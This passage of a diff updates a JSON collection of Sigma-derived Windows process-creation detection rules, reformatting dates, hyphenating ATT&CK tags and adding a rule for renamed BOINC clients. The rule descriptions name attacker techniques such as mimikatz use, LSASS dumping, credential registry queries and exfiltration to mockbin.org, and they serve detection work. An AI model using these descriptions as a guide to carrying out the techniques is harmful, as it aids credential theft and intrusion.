+46636,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_write_protect_for_storage_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -46649,7 +46656,7 @@ "description": "This rule detects execution of PowerShell scripts located in the \"C:\\Users\\Public\" folder", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2022/04/06", + "creation_date": "2022-04-06", "falsepositive": [ "Unlikely" ], @@ -46682,7 +46689,7 @@ "description": "Detects usage of the built-in PowerShell cmdlet \"Enable-WindowsOptionalFeature\" used as a Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/29", + "creation_date": "2022-12-29", "falsepositive": [ "Legitimate usage of the features listed in the rule." ], @@ -46692,12 +46699,12 @@ "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system", - "https://learn.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", "https://learn.microsoft.com/en-us/windows/wsl/install-on-server", + "https://learn.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_enable_susp_windows_optional_feature.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "c740d4cf-a1e9-41de-bb16-8a46a4f57918", @@ -46707,7 +46714,7 @@ "description": "Detects usage of bitsadmin downloading a file with a suspicious extension", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -46716,13 +46723,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_extensions.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197", "attack.s0190", @@ -46752,7 +46759,7 @@ "description": "Detects the execution of a renamed \"CURL.exe\" binary based on the PE metadata fields", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/09/11", + "creation_date": "2023-09-11", "falsepositive": [ "Unknown" ], @@ -46767,7 +46774,7 @@ "tags": [ "attack.execution", "attack.t1059", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -46794,7 +46801,7 @@ "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/06", + "creation_date": "2022-08-06", "falsepositive": [ "Software Installers" ], @@ -46803,13 +46810,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/jonasLyk/status/1555914501802921984", "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)", + "https://twitter.com/jonasLyk/status/1555914501802921984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_use_image.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -46829,7 +46836,7 @@ "description": "Detects usage of the \"FromBase64String\" function in the commandline which is used to decode a base64 encoded string", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/01/29", + "creation_date": "2020-01-29", "falsepositive": [ "Administrative script libraries" ], @@ -46843,7 +46850,7 @@ ], "tags": [ "attack.t1027", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140", "attack.t1059.001" ] @@ -46878,7 +46885,7 @@ "description": "Detects the execution of Dnx.EXE. The Dnx utility allows for the execution of C# code.\nAttackers might abuse this in order to bypass application whitelisting.\n", "meta": { "author": "Beyu Denis, oscd.community", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Legitimate use of dnx.exe by legitimate user" ], @@ -46887,12 +46894,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnx_execute_csharp_code.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1027.004" ] @@ -46920,7 +46927,7 @@ "description": "Detection well-known mimikatz command line arguments", "meta": { "author": "Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Unlikely" ], @@ -46934,7 +46941,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_mimikatz_command_line.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.t1003.002", "attack.t1003.004", @@ -46986,7 +46993,7 @@ "description": "Detects the execution of \"dotnet-dump\" with the \"collect\" flag. The execution could indicate potential process dumping of critical processes such as LSASS.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/14", + "creation_date": "2023-03-14", "falsepositive": [ "Process dumping is the expected behavior of the tool. So false positives are expected in legitimate usage. The PID/Process Name of the process being dumped needs to be investigated" ], @@ -46995,12 +47002,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/bohops/status/1635288066909966338", "https://learn.microsoft.com/en-us/dotnet/core/diagnostics/dotnet-dump#dotnet-dump-collect", + "https://twitter.com/bohops/status/1635288066909966338", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnetdump_memory_dump.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -47020,7 +47027,7 @@ "description": "Detects usage of the \"type\" command to download/upload data from WebDAV server", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/14", + "creation_date": "2022-12-14", "falsepositive": [ "Unknown" ], @@ -47033,7 +47040,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_type_arbitrary_file_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -47053,7 +47060,7 @@ "description": "Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/04/26", + "creation_date": "2022-04-26", "falsepositive": [ "Unlikely" ], @@ -47066,9 +47073,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelayup.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558.003", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1550.003" ] }, @@ -47095,7 +47102,7 @@ "description": "Detects the stopping of a Windows service via the \"sc.exe\" utility", "meta": { "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/05", + "creation_date": "2023-03-05", "falsepositive": [ "There are many legitimate reasons to stop a service. This rule isn't looking for any suspicious behavior in particular. Filter legitimate activity accordingly" ], @@ -47128,7 +47135,7 @@ "description": "Detects the execution of the \"msxsl\" binary with an \"http\" keyword in the command line. This might indicate a potential remote execution of XSL files.", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2023/11/09", + "creation_date": "2023-11-09", "falsepositive": [ "Msxsl is not installed by default and is deprecated, so unlikely on most systems." ], @@ -47142,7 +47149,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msxsl_remote_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1220" ] }, @@ -47162,7 +47169,7 @@ "description": "Detects execution of \"WerFault.exe\" with the \"-pr\" commandline flag that is used to run files stored in the ReflectDebugger key which could be used to store the path to the malware in order to masquerade the execution flow", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/30", + "creation_date": "2023-06-30", "falsepositive": [ "Unknown" ], @@ -47177,7 +47184,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -47197,7 +47204,7 @@ "description": "Detects potential sideloading of \"mpclient.dll\" by Windows Defender processes (\"MpCmdRun\" and \"NisSrv\") from their non-default directory.", "meta": { "author": "Bhabesh Raj", - "creation_date": "2022/08/01", + "creation_date": "2022-08-01", "falsepositive": [ "Unlikely" ], @@ -47210,7 +47217,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_dll_sideload_defender.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -47230,7 +47237,7 @@ "description": "Detects potentially suspicious CommandLine of electron apps (teams, discord, slack, etc.). This could be a sign of abuse to proxy execution through a signed binary.", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/05", + "creation_date": "2023-09-05", "falsepositive": [ "Legitimate usage for debugging purposes" ], @@ -47239,12 +47246,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://positive.security/blog/ms-officecmd-rce", - "https://chromium.googlesource.com/chromium/chromium/+/master/content/public/common/content_switches.cc", - "https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/", - "https://lolbas-project.github.io/lolbas/Binaries/Teams/", "https://lolbas-project.github.io/lolbas/Binaries/Msedge/", + "https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/", + "https://chromium.googlesource.com/chromium/chromium/+/master/content/public/common/content_switches.cc", "https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf", + "https://positive.security/blog/ms-officecmd-rce", + "https://lolbas-project.github.io/lolbas/Binaries/Teams/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml" ], "tags": [ @@ -47258,7 +47265,7 @@ "description": "Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.", "meta": { "author": "Janantha Marasinghe", - "creation_date": "2020/09/26", + "creation_date": "2020-09-26", "falsepositive": [ "This may have false positives on hosts where Virtualbox is legitimately being used for operations" ], @@ -47267,12 +47274,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_virtualbox_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.006", "attack.t1564" ] @@ -47300,7 +47307,7 @@ "description": "Detects execution of the built-in script located in \"C:\\Windows\\System32\\gatherNetworkInfo.vbs\". Which can be used to gather information about the target machine", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/08", + "creation_date": "2023-02-08", "falsepositive": [ "Unknown" ], @@ -47343,7 +47350,7 @@ "description": "Detects the use of CoercedPotato, a tool for privilege escalation", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2023/10/11", + "creation_date": "2023-10-11", "falsepositive": [ "Unknown" ], @@ -47357,8 +47364,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_coercedpotato.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055" ] }, @@ -47378,7 +47385,7 @@ "description": "Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS", "meta": { "author": "Sreeman", - "creation_date": "2020/10/29", + "creation_date": "2020-10-29", "falsepositive": [ "Unknown" ], @@ -47387,12 +47394,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter", "https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/", + "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_credential_access_via_password_filter.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1556.002" ] }, @@ -47412,7 +47419,7 @@ "description": "Detects usage of Dsacls to grant over permissive permissions", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Legitimate administrators granting over permissive permissions to users" ], @@ -47426,7 +47433,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -47446,7 +47453,7 @@ "description": "Detects the use of \"Ilasm.EXE\" in order to compile C# intermediate (IL) code to EXE or DLL.", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/05/07", + "creation_date": "2022-05-07", "falsepositive": [ "Unknown" ], @@ -47460,7 +47467,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ilasm_il_code_compilation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -47480,7 +47487,7 @@ "description": "Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/28", + "creation_date": "2023-02-28", "falsepositive": [ "Unknown" ], @@ -47513,7 +47520,7 @@ "description": "Detects usage of the \"cipher\" built-in utility in order to overwrite deleted data from disk.\nAdversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.\nData destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives\n", "meta": { "author": "frack113", - "creation_date": "2021/12/26", + "creation_date": "2021-12-26", "falsepositive": [ "Unknown" ], @@ -47546,7 +47553,7 @@ "description": "Detects a suspicious curl process start on Windows and outputs the requested document to a local file", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/07/03", + "creation_date": "2020-07-03", "falsepositive": [ "Unknown" ], @@ -47555,15 +47562,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", + "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", "https://twitter.com/max_mal_/status/1542461200797163522", "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", - "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1105/T1105.md#atomic-test-18---curl-download-file", + "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_susp_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -47583,7 +47590,7 @@ "description": "This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", "meta": { "author": "Agro (@agro_sev) oscd.community", - "creation_date": "2020/10/10", + "creation_date": "2020-10-10", "falsepositive": [ "Direct PS command execution through SQLPS.exe is uncommon, childprocess sqlps.exe spawned by sqlagent.exe is a legitimate action." ], @@ -47592,15 +47599,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/bryon_/status/975835709587075072", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/", "https://learn.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15", + "https://twitter.com/bryon_/status/975835709587075072", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_sqlps_susp_execution.yml" ], "tags": [ "attack.execution", "attack.t1059.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -47627,7 +47634,7 @@ "description": "Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack", "meta": { "author": "Trent Liffick", - "creation_date": "2020/05/01", + "creation_date": "2020-05-01", "falsepositive": [ "Unknown" ], @@ -47640,7 +47647,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lnk.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1202", "attack.t1027.003" @@ -47672,11 +47679,46 @@ "uuid": "33339be3-148b-4e16-af56-ad16ec6c7e7b", "value": "Findstr Launching .lnk File" }, + { + "description": "Detects the execution of a renamed BOINC binary.", + "meta": { + "author": "Matt Anderson (Huntress)", + "creation_date": "2024-07-23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_boinc.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software", + "https://www.virustotal.com/gui/file/91e405e8a527023fb8696624e70498ae83660fe6757cef4871ce9bcc659264d3/details", + "https://boinc.berkeley.edu/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_boinc.yml" + ], + "tags": [ + "attack.defense-evasion", + "attack.t1553" + ] + }, + "related": [ + { + "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "30d07da2-83ab-45d8-ae75-ec7c0edcaffc", + "value": "Renamed BOINC Client Execution" + }, { "description": "Detects the creation of a schtask that executes a file from C:\\Users\\\\AppData\\Local", "meta": { "author": "pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/03/15", + "creation_date": "2022-03-15", "falsepositive": [ "Unknown" ], @@ -47718,7 +47760,7 @@ "description": "Detect usage of the \"driverquery\" utility to perform reconnaissance on installed drivers", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/19", + "creation_date": "2023-01-19", "falsepositive": [ "Legitimate usage by some scripts might trigger this as well" ], @@ -47727,9 +47769,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", - "https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html", "https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/", + "https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html", + "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_driverquery_recon.yml" ], "tags": [ @@ -47743,7 +47785,7 @@ "description": "Detects the execution of the builtin \"copy\" command that targets a shadow copy (sometimes used to copy registry hives that are in use)", "meta": { "author": "Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)", - "creation_date": "2021/08/09", + "creation_date": "2021-08-09", "falsepositive": [ "Backup scenarios using the commandline" ], @@ -47752,9 +47794,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_shadowcopy_access.yml" ], "tags": [ @@ -47778,7 +47820,7 @@ "description": "Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe", "meta": { "author": "Markus Neis, Sander Wiebing", - "creation_date": "2018/11/22", + "creation_date": "2018-11-22", "falsepositive": [ "Unknown" ], @@ -47812,7 +47854,7 @@ "description": "Detects execution of the builtin \"del\"/\"erase\" commands in order to delete files.\nAdversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n", "meta": { "author": "frack113", - "creation_date": "2022/01/15", + "creation_date": "2022-01-15", "falsepositive": [ "False positives levels will differ Depending on the environment. You can use a combination of ParentImage and other keywords from the CommandLine field to filter legitimate activity" ], @@ -47821,12 +47863,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_del_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -47846,7 +47888,7 @@ "description": "Detects the execution of a Chromium based browser process with the \"headless\" flag and a URL pointing to the mockbin.org service (which can be used to exfiltrate data).", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/09/11", + "creation_date": "2023-09-11", "falsepositive": [ "Unknown" ], @@ -47869,7 +47911,7 @@ "description": "Detects the execution of a renamed \"ftp.exe\" binary based on the PE metadata fields", "meta": { "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -47884,7 +47926,7 @@ "tags": [ "attack.execution", "attack.t1059", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -47911,16 +47953,16 @@ "description": "Detects the execution of \"gpg.exe\" from uncommon location. Often used by ransomware and loaders to decrypt/encrypt data.", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/06", + "creation_date": "2023-08-06", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_gpg4win_portable_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.trendmicro.com/vinfo/vn/threat-encyclopedia/malware/ransom.bat.zarlock.a", "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1486/T1486.md", "https://securelist.com/locked-out/68960/", - "https://www.trendmicro.com/vinfo/vn/threat-encyclopedia/malware/ransom.bat.zarlock.a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_portable_execution.yml" ], "tags": [ @@ -47944,7 +47986,7 @@ "description": "The \"VSIISExeLauncher.exe\" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/09", + "creation_date": "2022-06-09", "falsepositive": [ "Unknown" ], @@ -47957,7 +47999,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -47977,7 +48019,7 @@ "description": "Detects processes that query known 3rd party registry keys that holds credentials via commandline", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Unknown" ], @@ -47986,14 +48028,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", "https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt", "https://github.com/HyperSine/how-does-MobaXterm-encrypt-password", "https://isc.sans.edu/diary/More+Data+Exfiltration/25698", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_enumeration_for_credentials_cli.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.002" ] }, @@ -48013,7 +48055,7 @@ "description": "Detects execution of \"curl.exe\" with the \"insecure\" flag over proxy or DOH.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/27", + "creation_date": "2023-07-27", "falsepositive": [ "Access to badly maintained internal or development systems" ], @@ -48036,7 +48078,7 @@ "description": "Detects encoded base64 MZ header in the commandline", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/12", + "creation_date": "2022-07-12", "falsepositive": [ "Unlikely" ], @@ -48059,7 +48101,7 @@ "description": "Detects the import of a alternate datastream to the registry with regedit.exe.", "meta": { "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -48068,13 +48110,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml" ], "tags": [ "attack.t1112", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -48093,7 +48135,7 @@ "description": "Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution", "meta": { "author": "Thomas Patzke, Romaissa Adjailia, Florian Roth (Nextron Systems)", - "creation_date": "2017/06/12", + "creation_date": "2017-06-12", "falsepositive": [ "Legitimate administrative tasks" ], @@ -48102,8 +48144,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/sysinternals/downloads/psexec", "https://www.youtube.com/watch?v=ro2QuZTIMBM", + "https://learn.microsoft.com/en-us/sysinternals/downloads/psexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc.yml" ], "tags": [ @@ -48117,7 +48159,7 @@ "description": "Detects the export of a crital Registry key to a file.", "meta": { "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" ], @@ -48126,8 +48168,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml" ], "tags": [ @@ -48151,7 +48193,7 @@ "description": "Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe", "meta": { "author": "Austin Songer (@austinsonger)", - "creation_date": "2021/10/21", + "creation_date": "2021-10-21", "falsepositive": [ "Legitimate usage of stordiag.exe." ], @@ -48160,12 +48202,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", "https://twitter.com/eral4m/status/1451112385041911809", + "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_susp_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -48185,7 +48227,7 @@ "description": "Detects command line parameters or strings often used by crypto miners", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/10/26", + "creation_date": "2021-10-26", "falsepositive": [ "Legitimate use of crypto miners", "Some build frameworks" @@ -48215,11 +48257,34 @@ "uuid": "66c3b204-9f88-4d0a-a7f7-8a57d521ca55", "value": "Potential Crypto 